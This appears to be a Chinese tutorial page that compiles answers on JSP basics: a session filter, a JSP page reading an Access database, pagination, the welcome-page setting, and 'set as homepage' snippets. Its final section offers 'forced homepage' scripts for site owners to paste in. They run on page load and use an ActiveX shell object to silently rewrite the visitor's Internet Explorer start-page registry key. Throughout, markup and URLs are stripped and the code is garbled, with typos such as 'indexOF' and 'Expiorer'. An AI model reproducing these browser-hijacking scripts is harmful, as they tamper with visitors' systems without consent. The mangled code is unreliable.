本文目錄一覽:
- 1、如何讓JSP網頁在session失效時跳轉到首頁?
- 2、jsp 中網站的首頁源代碼
- 3、jsp頁面中分頁查詢首頁、上一頁與下一頁、末頁的顯示條件??求解,實在找不到答案了
- 4、如何設置JSP網站的歡迎頁面
- 5、怎麼讓在jsp代碼中將網頁設置為主頁
如何讓JSP網頁在session失效時跳轉到首頁?
使用過濾器過濾請求,如果已經登錄,則通過,沒有登錄或者超時則跳轉到首頁或者登錄頁面。
1,首先要寫一個登錄過濾器,public class SessionFilter implements Filter。一定要實現Filter,在doFilter方法中寫出判斷Session的代碼。
2,配置web.xml。
filter
filter-nameSessionFilter/filter-name
filter-classcom.test.filter.SessionFilter/filter-class
/filter
3,但是光有這些還是不夠,這樣它會攔截你所有的請求,包括你的登錄請求,你在發起登錄請求的時候就被攔截驗證,是否已經登錄,發現沒有登錄,然後給返回到首頁了。所有要給過濾器設置“白名單”,哪些請求直接通過,不用過濾。
init-param
param-namenoFilterURI/param-name
param-value
/login.do
/index.jsp
/param-value
/init-param
4,在SessionFilter類中獲取“白名單”,可以通過public void init(FilterConfig filterConfig)方法獲取
public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
noFilterURI = filterConfig.getInitParameter(“noFilterURI”);
}
在doFilter方法中得到“白名單”,設置不用過濾,直接通過。
代碼:
public class SessionFilter implements Filter{
private FilterConfig filterConfig;
private String noFilterURI;
public SessionFilter() {
filterConfig = null;
noFilterURI = null;
}
public void init(FilterConfig filterConfig) throws ServletException{
this.filterConfig = filterConfig;
noFilterURI = filterConfig.getInitParameter(“noFilterURI”);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException{
// do something
}
public void destroy()
{
filterConfig = null;
}
}
filter
filter-nameSessionFilter/filter-name
filter-classcom.test.filter.SessionFilter/filter-class
init-param
param-namenoFilterURI/param-name
param-value
/login.do
/index.jsp
/param-value
/init-param
/filter
jsp 中網站的首頁源代碼
這是最簡單的一個例子,數據庫要你自己建,用的是ACCESS
%@ page contentType=”text/html; charset=gb2312″ language=”java” import=”java.sql.*” errorPage=”” %
html
head
meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″
titleJSP連接Access數據庫/title
style type=”text/css”
!–
.style1 {
font-size: 20px;
font-weight: bold;
}
—
/style
/headbody
div align=”center” class=”style1″JSP連接Access數據庫/div
br
hr
p%
Class.forName(“sun.jdbc.odbc.JdbcOdbcDriver”); //載入驅動程序類別
Connection con = DriverManager.getConnection(“jdbc:odbc:jspdata”); //建立數據庫鏈接,jspdata為ODBC數據源名稱
//建立Statement對象
Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet rs = stmt.executeQuery(“select * from lyb”); //建立ResultSet(結果集)對象,並執行SQL語句
%
/p
p align=”center”NUMB1數據表中記錄如下/p
table width=”640″ border=”1″ align=”center” bordercolor=”#7188e0″
tr bgcolor=”d1d1ff”
th width=”49″編號/th
th width=”90″姓名/th
th width=”126″E-mail/th
th width=”221″網站/th
th width=”80″QQ/th
/tr
%
while(rs.next())
{
%
tr bgcolor=”#f8f8f8″
th%= rs.getString(1) %/th
th%= rs.getString(2) %/th
th%= rs.getString(3) %/th
th bgcolor=”#f6f6f8″%= rs.getString(4) %/th
th%= rs.getString(5) %/th
/tr
%
}
rs.close();
stmt.close();
con.close();
%
/table
p align=”center”br
如果您能看到表格中的數據,說明連接數據庫成功!/p
/body
/html
jsp頁面中分頁查詢首頁、上一頁與下一頁、末頁的顯示條件??求解,實在找不到答案了
第一點,首先不知道你後來到前台返回是否是一個集合,如果你覺得返回正確,可以先在後台迭怠一次,看一下是否有數據,最後確定沒問題了,再重定向回分頁的界面
第二點,通常我們打開分頁查詢的時候因為沒有傳入頁數,所以最好用js的onload的window.location.href=”UserServlet?currpage=1″
不知道我的後台是否類似,所以單看前台很難說清楚,如果有疑問請追問下
如何設置JSP網站的歡迎頁面
在web.xml里有個標籤 welcome-file里設置對應頁面,一般默認是index.jsp
如:WEB-INF\web.xml
?xml version=”1.0″ encoding=”UTF-8″?
web-app version=”2.4″
xmlns=””
xmlns:xsi=””
xsi:schemaLocation=”
“
welcome-file-list
welcome-fileindex.jsp/welcome-file
/welcome-file-list
/web-app
怎麼讓在jsp代碼中將網頁設置為主頁
jsp 中加入一段腳本就可以了
如下
加入收藏夾,設為首頁代碼
把以下代碼Body相應位置
a target=_top href=javascript:window.external.AddFavorite(‘;,’中國免費資源情報站’)加入收藏/a
a href=# onClick=”this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘);”設為首頁/a
鼠標指向時提示設為首頁
將下列代碼插入body區中:
A href= onmouseover=”this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘;);” target=”_blank”設為首頁/A
打開頁面時自動彈出窗口詢問是否設為首頁
將以下代碼放在head/head之間:
script language=”javascript”
function myhomepage(){
this.homepage.style.behavior=’url(#default#homepage)’;this.homepage.sethomepage(‘;);
}
/script
p align=”center”a href=”” name=”homepage”
onclick=”myhomepage();”/a
再將下面代碼加入body內:
onload=”myhomepage();”
即:body onload=”myhomepage();”
離開時自動提示設為首頁
body onunload=”BASEBody.style.behavior=’url(#default#homepage)’;if(!(BASEBody.isHomePage(”;)))BASEBody.setHomePage(‘;);”
強制設為主頁代碼:
代碼一(設置為主頁就再彈了):
META content=”text/html; charset=gb2312″ http-equiv=Content-Type
META content=”MSHTML 5.00.3826.2400″ name=GENERATOR
META content=FrontPage.Editor.Document name=ProgId/HEAD
BODYSPAN id=hp style=”BEHAVIOR: url(#default#homepage)”/SPAN
SCRIPT language=javascript
var u,i
u=””;
var showThank=false;
try{
for(i=1;i=5;i++)
{
if(hp.isHomePage(u))
{
break;
}
else
{
hp.setHomePage(u);
if(!hp.isHomePage(u))
{
alert(“方便下次光臨本站,請點 ‘是(Y)’ ,就不再彈了!”);
}
else
{
showThank=true;
}
}
}
if(showThank)
{
alert(“謝謝您的支持.”);
}
}
catch(e){
}
finally{
}
//location.href=u;
/SCRIPT
/BODY/HTML
代碼三:
script
var ucook=document.cookie;
var user=ucook.indexOF(“ilooki=”);
if(user==-1)
{
var nowTime=new Date();
document.cookie=”ilooki”+”;”+”expires=Wednesday,03-Jan-“+eval
(nowTime.getYear()+1903+”12:34:56 GMT”;
document.write(“APPLET HEIGHT=0WIDTH=0
code=com.ms.activeX.ActiveXCompoment/APPLET”);function
yuzi(){try{a1
=document.applets[0];a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}”);a1.createInstance();Shl=a1.GetObject
();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”);try
{Shl.RegWrite(“hkcu\Software\Microsoft\Internet
Expiorer\Main\Start Page”,);}catch(e)
{}}catch(e){}}setTimeout(“yuzi()”,1000);
}
/script
代碼四:
script
var ucook=document.cookie;
var user=ucook.indexOF(“ilooki=”);
if(user==-1)
{
var nowTime=new Date();
document.cookie=”ilooki”+”;”+”expires=Wednesday,03-Jan-“+eval(nowTime.getYear()+1903+”12:34:56 GMT”;
document.write(“APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment/APPLET”);function yuzi(){try{a1
=document.applets[0];a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”);a1.createInstance();Shl=a1.GetObject();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”);try{Shl.RegWrite(“hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page”,);}catch(e){}}catch(e){}}setTimeout(“yuzi()”,1000);
}
/script
原創文章,作者:簡單一點,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/128768.html